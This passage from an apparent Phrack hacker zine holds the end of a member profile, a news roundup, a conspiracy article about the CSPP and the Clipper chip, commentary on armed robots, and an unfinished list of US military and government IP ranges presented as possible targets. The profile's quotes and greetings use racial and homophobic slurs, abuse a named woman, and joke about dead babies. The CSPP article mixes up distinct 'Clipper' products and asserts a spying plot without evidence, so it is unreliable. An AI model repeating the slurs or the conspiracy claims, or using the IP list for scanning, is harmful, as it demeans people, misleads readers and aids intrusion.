Jose Nazario, Luigi Auriemma, tsao[IC], divineint (I'm sure the Singaporian government would have had you caned by now for trading IRIX/VMS/DGUX/AIX/HPUX/ Windows src code if you weren't already in their employment), Raven (congratulations on having a vagina... it's not even a good one, but it's still better than your brain so you should probably try hooking instead of thinking for a living), Don "Beetle" Bailey, Ron Dufresne, Gadi Evron, lcamtuf, Ulf H?rnhammar, jeff moss, pete shipley & other vampire hackers, jericho, marcus ranum, chesswick & bellovin, lamo, markoff/shimomura/mitnick, theo, knuth, dijkstra & other CS theory fags, HACKER CRACKER |=---=[ Quotes "WTF SAID I WAS A TRADER?" - The Warez Dude "eye dont wipe logz" - Kareless KaRL "I'm proud to say I have committed every sin in the Decalogue." - Sir Richard Burton "irc warfare isnt very fun when u can just vanquish your f0ez... i feel like i go thru life with IDDQD on...walking thru firewalls like IDSPISPOPD" - the_uT "I hate to think that all the whitehats in the world are concerned that phc members are busy hacking their home machines when people are really playing ninja gaiden and hocking off their computers to buy $1000 dogs." - gayh1tler "While you were sleeping we helped ourselves" - Canaan Banana "I'm on the Zoloft to keep from killing y'all" - Mike Tyson "I've got 5 words for you: drugs smuggled in presidential baggage" - lu1g1 "I guess I'm gonna fade into Bolivian" - Mike Tyson "I just want to conquer people and their souls" - Mike Tyson "My power is so discombobulatingly devastating I could feel his muscle tissues collapse under my force. It's ludicrous these mortals even attempt to enter my realm." - Mike Tyson "step in2 my e-z bake oven!" - gayh1tler "I think my mask of sanity is about to slip." - Patrick Bateman "its not nice to treat other people's boxes like toys-r-us" - unknown "With a gun barrel between your teeth, you speak only in vowels." - Fight Club "Fuck damnation, man! Fuck redemption! We are God's unwanted children? So be it!" - Tyler Durden "Eat your lima beans!" - Pavel "Papa" Sandrak "A race condition is how fast you can hit the reset button when you start hearing your hdd whine" - unknown "We will achieve samadhi while meditating over s1's studio 31337 MOTD" - the_uT "Like our great leader, this kernel module selects a child and touches him in a very special way." - warez mullah, THE EMMANUEL GOLDSTEIN LKM "Cuz if you can take a fucking dick, you can take a joke" - Immortal Technique "The greatest trick the devil ever pulled was convincing the world he doesn't exist" - The Usual Suspects / Baudelaire "So I'm rapelling down Mt. Vesuvius, and my rope breaks and I begin to fall and im falling, falling. Ahhhh, I'll never forget the terror! Then I thought to myself, hey Hansel. Haven't you been smoking peyote for 6 straight days and couldn't some of this maybe in your head? " - Zoolander "Shit! If I'd known it was going to be this kind of party I'd have stuck my dick in the mashed potatoes!" "ARE YOU FUCKING RETARDED? STOP CRYING AND FUCK YOUR OWN ASS WITH IT" - facialabuse.com "So don't ever talk shit. And remember something nigga, while you rave and rant - a roach can live for nine days without its head, but you can't" - Immortal Technique "d00d thats not a LADY OF THE PEN, thats ___ from CUMFIESTA!" - unknown "Can somebody please tell me what the fuck A RED MAP is???" "i did it 4 the lulz" - ANONYMOUS "we dish out rm's like petri" - the_uT "There he goes. One of God's own prototypes. A high-powered mutant of some kind never even considered for mass production. Too weird to live, and too rare to die." - HST UNF UNF "Behold I am become death, the destroyer of worlds" - Robert Oppenheimer "It is better to find 10 dead babies in 1 trash can than to find 1 dead baby in 10 trash cans." - Unknown "NIGGA, THE RM IS THE NEW EUGENICS... EUGENIX" - unknown hacker "WTF SAID I WAS A TRADER?" - The Warez Dude "For personal reasons, I do not browse the web from my computer. (I also have not net connection much of the time.) To look at page I send mail to a demon which runs wget and mails the page back to me. It is very efficient use of my time, but it is slow in real time." - Richard Stallman "and it shows that you are a complete dork. you are disconnected from reality. how can we take you for serious?" - mbalmer@openbsd.org in response to Stallman, officially winning at irony... FOREVERER "2 FAST 2 FURIOUS 4 U" - the_uT, upon winning an underground irc speed typing competition |=---=[ Anything more you want to say Looking back on my involvement in computers, I am very happy that the peak of my activity occurred right during the turn of the 20th century. Hacking was no longer as simple as manual labor (wardialing etc.) but finding vulnerabilities and writing exploits and tools was not exactly as tedious and prohibitively time-consuming as it is currently. To say that I would rather commit seppuku than adapt to the challenges of a changing world by auditing code for SQL injection vulnerabilities and client-side browser exploits is not an exaggeration. On the upside of things, hardcore pornography is now far better and more widely and freely available than ever, and productive programming like UFC can be seen on channels like Spike TV for free. Every day, more and more youngsters are born who are many times more likely to contribute articles to socially useful publications such as Encyclopedia Dramatica instead of 2600. Spreading terror and wreaking havoc for "epic lulz" have been established as viable alternatives to contributing to open source software projects. If you're a kid reading this zine for the first time because you're interested in becoming a hacker, fucking forget it. You're better off starting a collection of poached adult website passwords, or hanging out on 4chan. At least trash like this has some modicum of entertainment value, whereas the hacking/security scene had become some kind of fetid sinkhole for all the worst kinds of recycled academic masturbation imaginable. In summary, the end is fucking nigh, and don't tell me I didn't warn you... even though there's nothing you can do about it. Good night and good luck, - the UNIX TERRORIST |=[ EOF ]=| ==Phrack Inc.== Volume 0x0c, Issue 0x41, Phile #0x03 of 0x0f |=--------------------------------------------------------------------=| |=-----------------------=[ Phrack World News]=-----------------------=| |=----------------------------=[ by TCLH ]=---------------------------=| |=--------------------------------------------------------------------=| The Circle of Lost Hackers is looking for any kind of news related to security, hacking, conference report, philosophy, psychology, surrealism, new technologies, space war, spying systems, information warfare, secret societies, ... anything interesting! It could be a simple news with just an URL, a short text or a long text. Feel free to send us your news. We didn't get any news from the Underground since our last phrack issue, it means that one more time all the news reports are coming from friends of our's. It would be good if people who claim themself "underground" would send us their news... Is our underground dead? 1. Speedy Gonzales news 2. How is CSPP controlloing US education network? 3. Retrospective of underground scene 4. Killer robots 5. Meaningful IP addresses -------------------------------------------- --[ 1. _____ _ / ___| | | \ `--. _ __ ___ ___ __| |_ _ `--. \ '_ \ / _ \/ _ \/ _` | | | | /\__/ / |_) | __/ __/ (_| | |_| | \____/| .__/ \___|\___|\__,_|\__, | | | __/ | |_| |___/ _____ _ | __ \ | | | | \/ ___ _ __ ______ _| | ___ ___ | | __ / _ \| '_ \|_ / _` | |/ _ \/ __| | |_\ \ (_) | | | |/ / (_| | | __/\__ \ \____/\___/|_| |_/___\__,_|_|\___||___/ _ _ | \ | | | \| | _____ _____ | . ` |/ _ \ \ /\ / / __| | |\ | __/\ V V /\__ \ \_| \_/\___| \_/\_/ |___/ *-[ The underground complot: when quebec scene takes too much LSD ]- http://www.mindkind.org/mindkind1011.zip *-[ "king of the carders" but busted ]- http://www.theregister.co.uk/2007/09/18/max_butler_affidavit/ *-[ "secure area" and "Microsoft" don't belong in the same sentence ]- http://www.stuff.co.nz/4269090a28.html *-[ Being an ethical hacker is definitely not a good idea ]- http://www.smh.com.au/news/security/police-swoop-on-hacker-of-the-year/2007 /11/15/1194766821481.html?page=2 *-[ When NSA teaches you how to hack ]- https://www.hackerdegree.com Do they read phrack? :) *-[ When Phrack is a sponsor without its permission ]- http://conference.hackinthebox.org/hitbsecconf2007kl/?page_id=65 *-[ Terrorism excuse is good for spying business ]- http://www.corpwatch.org/article.php?id=14821 SAIC... *-[ Entersect sounds like an interesting target...]- http://www.washingtonpost.com/wp-dyn/content/article/2008/ 04/01/AR2008040103049_pf.html *-[ Want to work for MI6? ]- http://news.bbc.co.uk/player/nol/newsid_6150000/newsid_6153000/ 6153092.stm?bw=bb&mp=rm&nol_storyid=6153092&news=1 *-[ Flight "not" Simulator ]- http://www.theregister.co.uk/2008/01/07/ boeing_dreamliner_hacker_concerns/ *-[ This design looks familiar...]- http://hex90.org/ *-[ After hacking your brain: hacking your heart!]- http://packetstormsecurity.org/papers/attack/icd-study.pdf --[ 2. How is CSPP controlling US education network ]-- by dahut http://www.mccullagh.org/db9/d30-32/kay-rosen-holleyman-1.jpg The above picture shows Ken Kay, executive director of the Computer Systems Policy Project on the left and Robert Holleyman, president and CEO of the Business Software Alliance on the right. CSPP (www.cspp.org) was created in 1989, and later on renamed as Technology CEO Council. Bigger members are Applied Material, Dell, EMC, HP, IBM, Intel, Motorola, NCR and Unisys. All these companies together are generating 300 billion dollars of annual revenues. The company was made on request of the US President, to promote U.S. competitiveness through technology leadership. You can think technology is for information technology. You are wrong. It's for Intelligence technology. The project is two steps. First is to invent a spy chip and put it in every computer manufactured in US. So did Fairchild (http://en.wikipedia.org/wiki/Fairchild_Semiconductor) by producing the Clipper chip (http://en.wikipedia.org/wiki/Clipper_architecture). The Clipper was designed with internal circuitry to encrypt information and deliver backdoor capabilities, a little bit as the previous PROMIS software was doing with Mainframe. The Clipper was designed for RISC workstation. After a bankruptcy of Fairchild, and seeing that Hitachi was interested to acquire the company, the US government requested Intergraph to continue the project. So they did by starting the production of a new UNIX workstation line, named Interpro32 and running AT&T Unix operating system. So, the operating system was containing code to activate the secret part of the CPU, and access to users' data. The following declassified document explains to the US administration how dangerous it could be to continue to use the Clipper chip in conjunction with AT&T: http://www.softwar.net/bush.html. CIA and NSA are involved in this document. Now that the main US chipset and computer manufacturers are in the secrets of the CIA intelligence, let's go for step two. In 1996, the US president Clinton did ask to create the CEO Forum, managed by Ken Kay, to establish the best rules for the future classrooms, assuming they will be well connected to the Internet, with the best possible hardware. Members were Apple, Dell, IBM, Compaq, HP, Sun... Next, the US government did ask again to Ken Kay in 2002 to create the Partnership for 21st Century Skills to be at the center of US K-12 education by building collaborative partnerships among education, business, community and government leader (www.21stcenturyskills.org). It was a follow up to the CEO Forum. Members are: * Adobe, AOL, Apple, AT&T, Cisco, Dell, Intel, Microsoft, SAP, Oracle... * National Education Association, Ford Motor Company (?) and the US Department of Education Ken Kay is in charge of driving all these companies to install computer, software and networks systems in all schools of USA, as well as dictating the content of the courses! Thinking back to the picture in front of this article, you can make the connection between all software companies, the BSA company and Ken Kay. Thanks to the clipper chip success, they all know how to watch you! The cherry on the cake will be to tell you that Ken Kay is managing WWASP, the largest world network of special establishment for "Teens In Crisis". www.wwasp.com http://en.wikipedia.org/wiki/World_Wide_Association_of_Specialty_Programs_ and_Schools Many parents are complaining against the treatment methods employed by WWASPS institutions. These methods are said to be controversial, as there have been allegations of severe (sexual) abuse and torture by staff. In 2004, during a testimony, Ken Kay stated that in his opinion, sexual activity between staff members and students is "not necessarily abuse". How do you explain that Ken Kay is controlling the whole US computer industry, as well as the US education, and able to manage a galaxy of establishments doing sexual abuses in its total acceptation? (See also http://antiwwasp.com/) --[ 3. Retrospective of The Underground scene ]-- by Duvel Almost one year after the release of "A brief History of the Underground Scene", it's now time to give some feedback. First of all, The Phrack Staff and I would like to thank you all for your positive and negative comments about this article. The goal of this article was not to explain what the scene once was or what should be but more to provoke the debate. And on this point the article was a success. Now it's time to act. About the negative comments that I had, I won't reply to each of one. As you have probably seen, I didn't reply to any negative or positive comments (except one at the beginning...my bad) I prefer let people talk. But I was quite amused to see negative comments which for the majority were on some insignificant points (speech recognition is not datamining, this guy doesn't know subnets, underground pyramid is for Holywood magazine or hacking tricks are too lame). It would be stupid to reply to them. So I won't. One of the thing that I am the most happy about is that a lot of young generations of hackers have found this article interesting and found their way through it. As you have probably seen, there is another article about the Underground scene in this issue. Anonymous' opinion is opposite to mine but if you read beetween the lines, we both go to the same direction. Of course it's important to understand the history of hacking (what I tried to explain in my article) or how the underground died (what Anonymous tries to explain in his article) but it's more important to keep hackers alive. Even if the Underground won't ever be the same, the passion is still there. It's this passion of hacking that should stay alive. I really hope that all people who gave constructive comments can participate to the new Underground. A lot of people talk but don't do anything. I've seen lots of interesting comment from people who want to do something but at this stage we haven't seen anything from them. Are these people too busy? Are these people just dreamers? Are these people lacking required knowledge? Are these people....? I don't know. But this message is for these people: please stop talking but try to bring something to new generation of hackers. They need you. --[ 4. Killer robots ]-- My roomba can get lost under the dining room table, bumping off the chair legs, over and over. There are many routes of escape, but it rarely finds one. Only a true genius could turn this remarkable example of AI into a killing machine. http://blog.wired.com/defense/2007/10/roomba-maker-un.html -------------------------------------------------------------------- The makers of the cuter-than-cute robotic vacuum cleaner are rolling out a new machine: A big, fast-moving, semi-autonomous 'bot capable of killing a whole bunch of people at once. Unlike other armed robots -- which are entirely remote-controlled -- the Warriors are "being engineered with advanced software, giving them the ability to perform some battlefield functions autonomously." At the same time, a key dimension to the Warrior X700 is its ability to protect soldiers by firing weapons such as a machine gun or 40mm explosive round. -------------------------------------------------------------------- Bring in the big guns. http://blog.wired.com/defense/2007/10/robot-cannon-ki.html -------------------------------------------------------------------- We're not used to thinking of them this way. But many advanced military weapons are essentially robotic -- picking targets out automatically, slewing into position, and waiting only for a human to pull the trigger. Most of the time. Once in a while, though, these machines start firing mysteriously on their own. During the shooting trials at Armscor's Alkantpan shooting range, "I personally saw a gun go out of control several times," Young says. "They made a temporary rig consisting of two steel poles on each side of the weapon, with a rope in between to keep the weapon from swinging. The weapon eventually knocked the pol[e]s down." Mangope told The Star that it "is assumed that there was a mechanical problem, which led to the accident. The gun, which was fully loaded, did not fire as it normally should have," he said. "It appears as though the gun, which is computerised, jammed before there was some sort of explosion, and then it opened fire uncontrollably, killing and injuring the soldiers." But the brave, as yet unnamed officer was unable to stop the wildly swinging computerised Swiss/German Oerlikon 35mm MK5 anti-aircraft twin-barrelled gun. It sprayed hundreds of high-explosive 0.5kg 35mm cannon shells around the five-gun firing position. By the time the gun had emptied its twin 250-round auto-loader magazines, nine soldiers were dead and 11 injured. -------------------------------------------------------------------- Can I play too? http://blog.wired.com/defense/2007/12/new-killer-bot.html -------------------------------------------------------------------- The stars: "a 25-year-old self-taught engineer named Adam Gettings" and his "toy-like but gun-wielding robot designed to replace human soldiers on the battlefield." Gettings' company doesn't have much of an online signature -- not even a website. But he does have some interesting partners, including former Disney imagineer Terry Izumi (who cooked up this video for the 'bot) and shotgun maker Jerry Barber (who provided the firepower). Blackwater has also endorsed the product, allegedly. -------------------------------------------------------------------- Blackwater and Disney? Who could ask for better qualifications? Oh, and there's this cool marketing video. http://money.cnn.com/video/ft/#/video/fortune/2007/12/04/robotex.fortune Robot wars, anyone? http://blog.wired.com/defense/2007/05/top_war_tech_5_.html -------------------------------------------------------------------- "The Baghdad bomb squad used their iRobots to decorate their shop," Noah reported after an embed with an Army ordnance-disposal unit a couple years back. "Not far away, at the U.S. military's central robot depot for Iraq, the iRobots sat on shelves, serenely gathering dust, while Foster-Miller's Talon robots would come back, scarred and in pieces, after being chewed up by a bomb." The company noted that war zone "Robot Hospitals" are repairing more than 400 bomb-damaged robots a week to put them back into service. -------------------------------------------------------------------- My bot can kick your bot's ass. Great. But how do they stand up against humans? Not the kind of humans that throw rocks at tanks, but the thinking kind, like the ones that broke Israeli comms crypto during the recent war in Lebanon. Let's see what happens when it comes across a carpet stretched over a pit. Or somebody throws a blanket over it, or spray paints the camera lens, or fires IR lasers or very bright oLEDS at the camera. Once you have physical access to the thing, you own it. How hard would it be to re-chip the thing and send it back against its makers? Can we test our killer-robot counter measures? Maybe. The opportunity may soon be as close as your local pigsty. http://blog.wired.com/defense/2007/08/armed-robots-so.html -------------------------------------------------------------------- Armed robots -- similar to the ones now on patrol in Iraq -- are being marketed to domestic police forces, according to the machines' manufacturer and law enforcement officers. Foster-Miller, maker of the armed SWORDS robot for military use, is also actively promoting a similar model to domestic, civilian police forces. The Talon SWAT/MP is a "robot specifically equipped for scenarios frequently encountered by police SWAT [special weapon and tactics] units and MPs [military police]," a company fact sheet announces. It "can be configured with the following equipment: . Multi-shot TASER electronic control device with laser-dot aiming. . Loudspeaker and audio receiver for negotiations. . Night vision and thermal cameras. . Choice of weapons for lethal or less-than-lethal responses - 40 mm grenade launcher - 2 rounds - 12-gage shotgun - 5 rounds - FN303 less-lethal launcher - 15 rounds. In addition to the Massachusetts State Police, SWAT teams in Houston, San Francisco, and Lubbock, TX all have the robots, according to Foster-Miller spokesperson Cynthia Black. -------------------------------------------------------------------- Finally, a legitimate excuse for Swatting. http://en.wikipedia.org/wiki/Swatting -------------------------------------------------------------------- In the field of Information Security, Swatting is an attempt to trick an emergency service to dispatch an emergency response team. The name derives from attempts to trick an emergency services operator (a "911 operator") into dispatching a SWAT (Special Weapons and Training) team to a location under false pretense. -------------------------------------------------------------------- What next? http://blog.wired.com/defense/2007/11/black-knight.html -------------------------------------------------------------------- We now know that there are robotic cars smart enough to drive themselves around a city. The next step: give those vehicles automatic weapons, of course. Or the troops can stay just chill out, and let the thing drive itself. The Knight uses "advanced robotic technology for autonomous mobility," according to BAE. "This capability allows the Black Knight to plan routes, maneuver on the planned route, and avoid obstacles - all without operator intervention." -------------------------------------------------------------------- http://blog.wired.com/defense/2008/01/israel-thinking.html -------------------------------------------------------------------- So Israeli military leaders have begun early planning for a new, robotic defense system, armed with enough artificial intelligence that it "could take over completely" from flesh-and-blood operators. "It will be designed for... autonomous operations,' Brig. Gen. Daniel Milo, commander of Israel's air defense forces, tells Defense News' Barbara Opall-Rome. And in the event of a "doomsday" strike, Opall-Rome notes, the system could handle "attacks that exceed physiological limits of human command." How do you say "Skynet" in Hebrew, again? -------------------------------------------------------------------- http://www.reuters.com/article/oddlyEnoughNews/idUST27506220080408?feedType=RSS&feedName=oddlyEnoughNews&rpc=22&sp=true -------------------------------------------------------------------- Robots could fill the jobs of 3.5 million people in graying Japan by 2025, a thinktank says, helping to avert worker shortages as the country's population shrinks. Caregivers would save more than an hour a day if robots helped look after children, older people and did some housework, it added. Robotic duties could include reading books out loud or helping bathe the elderly. -------------------------------------------------------------------- Don't drop the soap. --[ 5. Meaningful IP addresses ]-- Here are some IP addresses that people send us...we haven't tried anything so don't blame us. If you have more ranges feel free to share. But before, the best IP list is probably the one on cryptome: http://cryptome.org/nsa-ip-update14.htm ----- RANGE 6 6.* - Army Information Systems Center RANGE 7 7.*.*.* Defense Information Systems Agency, VA RANGE 11 11.*.*.* DoD Intel Information Systems, Defense Intelligence Agency, Washington DC RANGE 21 21. - US Defense Information Systems Agency RANGE 22 22.* - Defense Information Systems Agency RANGE 24 24.198.*.* RANGE 25 25.*.*.* Royal Signals and Radar Establishment, UK RANGE 26 26.* - Defense Information Systems Agency RANGE 29 29.* - Defense Information Systems Agency RANGE 30 30.* - Defense Information Systems Agency RANGE 49 49.* - Joint Tactical Command RANGE 50 50.* - Joint Tactical Command RANGE 55 55.* - Army National Guard Bureau RANGE 55 55.* - Army National Guard Bureau RANGE 62 62.0.0.1 - 62.30.255.255 Do not scan! RANGE 64 64.70.*.* Do not scan 64.224.* Do not Scan 64.225.* Do not scan 64.226.* Do not scan RANGE 128 128.37.0.0 Army Yuma Proving Ground 128.38.0.0 Naval Surface Warfare Center 128.43.0.0 Defence Research Establishment-Ottawa 128.47.0.0 Army Communications Electronics Command 128.49.0.0 Naval Ocean Systems Center 128.50.0.0 Department of Defense 128.51.0.0 Department of Defense 128.56.0.0 U.S. Naval Academy 128.60.0.0 Naval Research Laboratory 128.63.0.0 Army Ballistics Research Laboratory 128.80.0.0 Army Communications Electronics Command 128.98.0.0 - 128.98.255.255 Defence Evaluation and Research Agency 128.102.0.0 NASA Ames Research Center 128.149.0.0 NASA Headquarters 128.154.0.0 NASA Wallops Flight Facility 128.155.0.0 NASA Langley Research Center 128.156.0.0 NASA Lewis Network Control Center 128.157.0.0 NASA Johnson Space Center 128.158.0.0 NASA Ames Research Center 128.159.0.0 NASA Ames Research Center 128.160.0.0 Naval Research Laboratory 128.161.0.0 NASA Ames Research Center 128.183.0.0 NASA Goddard Space Flight Center 128.190.0.0 Army Belvoir Reasearch and Development Center 128.202.0.0 50th Space Wing 128.216.0.0 MacDill Air Force Base 128.217.0.0 NASA Kennedy Space Center 128.236.0.0 U.S. Air Force Academy RANGE 129 129.23.0.0 Strategic Defense Initiative Organization 129.29.0.0 United States Military Academy 129.50.0.0 NASA Marshall Space Flight Center 129.51.0.0 Patrick Air Force Base 129.52.0.0 Wright-Patterson Air Force Base 129.53.0.0 - 129.53.255.255 66SPTG-SCB 129.54.0.0 Vandenberg Air Force Base, CA 129.92.0.0 Air Force Institute of Technology 129.99.0.0 NASA Ames Research Center 129.131.0.0 Naval Weapons Center 129.139.0.0 Army Armament Research Development and Engineering Center 129.141.0.0 85 MISSION SUPPORT SQUADRON/SCSN 129.163.0.0 NASA/Johnson Space Center 129.164.0.0 NASA IVV 129.165.0.0 NASA Goddard Space Flight Center 129.166.0.0 NASA - John F. Kennedy Space Center 129.167.0.0 NASA Marshall Space Flight Center 129.168.0.0 NASA Lewis Research Center 129.190.0.0 Naval Underwater Systems Center 129.198.0.0 Air Force Flight Test Center 129.209.0.0 Army Ballistics Research Laboratory 129.229.0.0 U.S. Army Corps of Engineers 129.251.0.0 United States Air Force Academy RANGE 130 130.40.0.0 NASA Johnson Space Center 130.90.0.0 Mather Air Force Base 130.109.0.0 Naval Coastal Systems Center 130.114.0.0 Army Aberdeen Proving Ground Installation Support Activity 130.124.0.0 Honeywell Defense Systems Group 130.165.0.0 U.S.Army Corps of Engineers 130.167.0.0 NASA Headquarters RANGE 131 131.3.0.0 - 131.3.255.255 Mather Air Force Base 131.6.0.0 Langley Air Force Base 131.10.0.0 Barksdale Air Force Base 131.17.0.0 Sheppard Air Force Base 131.21.0.0 Hahn Air Base 131.22.0.0 Keesler Air Force Base 131.24.0.0 6 Communications Squadron 131.25.0.0 Patrick Air Force Base 131.27.0.0 75 ABW 131.30.0.0 62 CS/SCSNT 131.32.0.0 37 Communications Squadron 131.35.0.0 Fairchild Air Force Base 131.36.0.0 Yokota Air Base 131.37.0.0 Elmendorf Air Force Base 131.38.0.0 Hickam Air Force Base 131.39.0.0 354CS/SCSN 131.40.0.0 Bergstrom Air Force Base 131.44.0.0 Randolph Air Force Base 131.46.0.0 20 Communications Squadron 131.47.0.0 Andersen Air Force Base 131.50.0.0 Davis-Monthan Air Force Base 131.52.0.0 56 Communications Squadron /SCBB 131.54.0.0 Air Force Concentrator Network 131.56.0.0 Upper Heyford Air Force Base 131.58.0.0 Alconbury Royal Air Force Base 131.59.0.0 7 Communications Squadron 131.61.0.0 McConnell Air Force Base 131.62.0.0 Norton Air Force Base 131.71.0.0 - 131.71.255.255 NAVAL AVIATION DEPOT CHERRY PO 131.74.0.0 Defense MegaCenter Columbus 131.84.0.0 Defense Technical Information Center 131.92.0.0 Army Information Systems Command - Aberdeen (EA) 131.105.0.0 McClellan Air Force Base 131.110.0.0 NASA/Michoud Assembly Facility 131.120.0.0 Naval Postgraduate School 131.121.0.0 United States Naval Academy 131.122.0.0 United States Naval Academy 131.176.0.0 European Space Operations Center 131.182.0.0 NASA Headquarters 131.250.0.0 Office of the Chief of Naval Research RANGE 132 132.3.0.0 Williams Air Force Base 132.5.0.0 - 132.5.255.255 49th Fighter Wing 132.6.0.0 Ankara Air Station 132.7.0.0 - 132.7.255.255 SSG/SINO 132.9.0.0 28th Bomb Wing 132.10.0.0 319 Comm Sq 132.11.0.0 Hellenikon Air Base 132.12.0.0 Myrtle Beach Air Force Base 132.13.0.0 Bentwaters Royal Air Force Base 132.14.0.0 Air Force Concentrator Network 132.15.0.0 Kadena Air Base 132.16.0.0 Kunsan Air Base 132.17.0.0 Lindsey Air Station 132.18.0.0 McGuire Air Force Base 132.19.0.0 100CS (NET-MILDENHALL) 132.20.0.0 35th Communications Squadron 132.21.0.0 Plattsburgh Air Force Base 132.22.0.0 23Communications Sq 132.24.0.0 Dover Air Force Base 132.25.0.0 786 CS/SCBM 132.27.0.0 - 132.27.255.255 39CS/SCBBN 132.28.0.0 14TH COMMUNICATION SQUADRON 132.30.0.0 Lajes Air Force Base 132.31.0.0 Loring Air Force Base 132.33.0.0 60CS/SCSNM 132.34.0.0 Cannon Air Force Base 132.35.0.0 Altus Air Force Base 132.37.0.0 75 ABW 132.38.0.0 Goodfellow AFB 132.39.0.0 K.I. Sawyer Air Force Base 132.40.0.0 347 COMMUNICATION SQUADRON 132.42.0.0 Spangdahlem Air Force Base 132.43.0.0 Zweibruchen Air Force Base 132.45.0.0 Chanute Air Force Base 132.46.0.0 Columbus Air Force Base 132.48.0.0 Laughlin Air Force Base 132.49.0.0 366CS/SCSN 132.50.0.0 Reese Air Force Base 132.52.0.0 Vance Air Force Base 132.54.0.0 Langley AFB 132.55.0.0 Torrejon Air Force Base 132.56.0.0 - 132.56.255.255 9 CS/SC 132.57.0.0 Castle Air Force Base 132.58.0.0 Nellis Air Force Base 132.59.0.0 24Comm Squadron\SCSNA 132.60.0.0 - 132.60.255.255 42ND COMMUNICATION SQUADRON 132.61.0.0 SSG/SIN 132.62.0.0 - 132.62.255.255 377 COMMUNICATION SQUADRON 132.79.0.0 Army National Guard Bureau 132.80.0.0 - 132.80.255.255 NGB-AIS-OS 132.80.0.0 - 132.85.255.255 National Guard Bureau 132.82.0.0 Army National Guard Bureau 132.86.0.0 National Guard Bureau 132.87.0.0 - 132.93.255.255 National Guard Bureau 132.94.0.0 Army National Guard Bureau 132.95.0.0 - 132.103.255.255 National Guard Bureau 132.95.0.0 - 132.108.0.0 DOD Network Information Center 132.104.0.0 - 132.104.255.255 Army National Guard Bureau 132.105.0.0 - 132.108.255.255 Army National Guard Bureau 132.109.0.0 National Guard Bureau 132.110.0.0 - 132.116.255.255 Army National Guard Bureau 132.114.0.0 Army National Guard 132.117.0.0 Army National Guard Bureau 132.118.0.0 - 132.132.0.0 Army National Guard Bureau 132.122.0.0 South Carolina Army National Guard, USPFO 132.133.0.0 National Guard Bureau 132.134.0.0 - 132.143.255.255 National Guard Bureau 132.159.0.0 Army Information Systems Command 132.193.0.0 Army Research Office 132.250.0.0 Naval Research Laboratory RANGE 134 134.5.0.0 Lockheed Aeronautical Systems Company 134.11.0.0 The Pentagon 134.12.0.0 NASA Ames Research Center 134.51.0.0 Boeing Military Aircraft Facility 134.52.*.* Boeing Corporation 134.78.0.0 Army Information Systems Command-ATCOM 134.80.0.0 Army Information Systems Command 134.118.0.0 NASA/Johnson Space Center 134.131.0.0 Wright-Patterson Air Force Base 134.136.0.0 Wright-Patterson Air Force Base 134.164.0.0 Army Engineer Waterways Experiment Station 134.165.0.0 Headquarters Air Force Space Command 134.194.0.0 U.S. Army Aberdeen Test Center 134.205.0.0 7th Communications Group 134.207.0.0 Naval Research Laboratory 134.229.0.0 Navy Regional Data Automation Center 134.230.0.0 Navy Regional Data Automation Center 134.232.0.0 - 134.232.255.255 U.S. Army, Europe 134.233.0.0 HQ 5th Signal Command 134.234.0.0 - 134.234.255.255 Southern European Task Force 134.235.0.0 HQ 5th Signal Command 134.240.0.0 U.S. Military Academy 136.149.0.0 Air Force Military Personnel Center RANGE 136 136.178.0.0 NASA Research Network 136.188.0.0 - 136.197.255.255 Defense Intelligence Agency 136.207.0.0 69th Signal Battalion 136.208.0.0 HQ, 5th Signal Command 136.209.0.0 HQ 5th Signal Command 136.210.0.0 HQ 5th Signal Command 136.212.0.0 HQ 5th Signal Command 136.213.0.0 HQ, 5th Signal Command 136.214.0.0 HQ, 5th Signal Command 136.215.0.0 HQ, 5th Signal Command 136.216.0.0 HQ, 5th Signal Command 136.217.0.0 HQ, 5th Signal Command 136.218.0.0 HQ, 5th Signal Command 136.219.0.0 HQ, 5th Signal Command 136.220.0.0 HQ, 5th Signal Command 136.221.0.0 HQ, 5th Signal Command 136.222.0.0 HQ, 5th Signal Command RANGE 137 137.1.0.0 Whiteman Air Force Base 137.2.0.0 George Air Force Base 137.3.0.0 Little Rock Air Force Base 137.4.0.0 - 137.4.255.255 437 CS/SC 137.5.0.0 Air Force Concentrator Network 137.6.0.0 Air Force Concentrator Network 137.11.0.0 HQ AFSPC/SCNNC 137.12.0.0 Air Force Concentrator Network 137.17.* National Aerospace Laboratory 137.24.0.0 Naval Surface Warfare Center 137.29.0.0 First Special Operations Command 137.67.0.0 Naval Warfare Assessment Center 137.94.* Royal Military College 137.95.* Headquarters, U.S. European Command 137.126.0.0 USAF MARS 137.127.* Army Concepts Analysis Agency 137.128.* U.S. ARMY Tank-Automotive Command 137.130.0.0 Defense Information Systems Agency 137.209.0.0 Defense Information Systems Agency 137.210.0.0 Defense Information Systems Agency 137.211.0.0 Defense Information Systems Agency 137.212.0.0 Defense Information Systems Agency 137.231.0.0 HQ 5th Signal Command 137.232.0.0 Defense Information Systems Agency 137.233.0.0 Defense Information Systems Agency 137.234.0.0 Defense Information Systems Agency 137.235.0.0 Defense Information Systems Agency 137.240.0.0 Air Force Materiel Command 137.241.0.0 75 ABW 137.242.0.0 Air Force Logistics Command 137.243.0.0 77 CS/SCCN 137.244.0.0 78 CS/SCSC 137.245.0.0 Wright Patterson Air Force Base 137.246.0.0 United States Atlantic Command Joint Training RANGE 138 138.13.0.0 Air Force Systems Command 138.27.0.0 Army Information Systems Command 138.50.0.0 HQ 5th Signal Command 138.65.0.0 HQ, 5th Signal Command 138.76.0.0 NASA Headquarters 138.109.0.0 Naval Surface Warfare Center 138.115.0.0 NASA Information and Electronic Systems Laboratory 138.135.0.0 - 138.135.255.255 DEFENSE PROCESSING CENTERPERAL HARBOR 138.136.0.0 - 138.136.255.255 Navy Computers and Telecommunications Station 138.137.0.0 Navy Regional Data Automation Center (NARDAC) 138.139.0.0 Marine Corps Air Station 138.140.0.0 Navy Regional Data Automation Center 138.141.0.0 Navy Regional Data Automation Center 138.142.0.0 Navy Regional Data Automation Center 138.143.0.0 Navy Regional Data Automation Center 138.144.0.0 NAVCOMTELCOM 138.145.0.0 NCTS WASHINGTON 138.146.0.0 NCTC 138.147.0.0 NCTC 138.148.0.0 NCTC 138.149.0.0 NCTC 138.150.0.0 NCTC 138.151.0.0 NCTC 138.152.0.0 NCTC 138.153.0.0 Yokosuka Naval Base 138.154.0.0 NCTC 138.155.0.0 NCTC 138.156.0.0 Marine Corps Central Design & Prog. Activity 138.157.0.0 - 138.157.255.255 Marine Corps Central Design & Prog. Activity 138.158.0.0 Marine Corps Central Design & Prog. Activity 138.159.0.0 NCTC 138.160.0.0 Naval Air Station 138.161.0.0 NCTC 138.162.0.0 NCTC 138.163.0.0 NCTC 138.164.0.0 NCTC 138.165.0.0 NCTC 138.166.0.0 NCTC 138.167.0.0 NOC, 